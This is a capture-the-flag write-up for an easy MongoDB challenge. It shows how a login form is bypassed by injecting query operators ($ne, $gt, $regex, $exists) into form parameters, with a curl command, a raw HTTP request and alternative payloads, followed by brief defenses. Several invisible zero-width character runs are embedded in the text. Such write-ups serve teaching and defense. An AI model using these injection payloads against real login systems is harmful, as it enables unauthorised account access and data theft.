Mongo 1

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: mongodb_query_operator_injection, nosql_injection_ne_operator

Summary

Walkthrough of the CUSTOM Web Mongo 1. MongoDB NoSQL injection task. Login form with MongoDB backend.

Description

MongoDB NoSQL injection task. Login form with MongoDB backend.

URL: http://kslweb3.spb.ctf.su/2-6/

Analysis

The login form passes user input directly to a MongoDB query without sanitization. MongoDB supports special query operators (starting with $) that can be injected through form parameters.

Key vulnerability: if the application uses form parameters directly in the query, you can pass an object instead of a string using the param[$operator]=value syntax. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Form Analysis

Normal login request:

POST /2-6/
login=admin&password=admin123

This creates a MongoDB query:

 javascript read-only • copy allowed Copy
db.users.find({login: "admin", password: "admin123"})

Step 2: $ne Operator Injection

Using the $ne (not equal) operator to bypass authentication:

login[$ne]=notexist&password[$ne]=test

This creates a MongoDB query:

 javascript read-only • copy allowed Copy
db.users.find({login: {$ne: "notexist"}, password: {$ne: "test"}})

The query will return any document where:

• login is NOT equal to "notexist" (i.e., practically any user)
• password is NOT equal to "test" (i.e., practically any password) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Exploitation

 bash read-only • copy allowed Copy
curl -X POST "http://kslweb3.spb.ctf.su/2-6/" \
  -d "login[\$ne]=notexist&password[\$ne]=test"

Or via Burp Suite:

POST /2-6/ HTTP/1.1
Host: kslweb3.spb.ctf.su
Content-Type: application/x-www-form-urlencoded

login[$ne]=notexist&password[$ne]=test

The server returns the first user's data from the database, including the flag.

Alternative Payloads

 bash read-only • copy allowed Copy
# Using $gt (greater than)
login[$gt]=&password[$gt]=

# Using $regex
login[$regex]=.*&password[$regex]=.*
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Using $exists
login[$exists]=true&password[$exists]=true

Defense

• Use strict type validation for input data
• Sanitize special characters ($, .)
• Use parameterized queries
• Apply whitelist for allowed fields ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering mongodb_query_operator_injection, nosql_injection_ne_operator was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Mongo 1 • Difficulty: Easy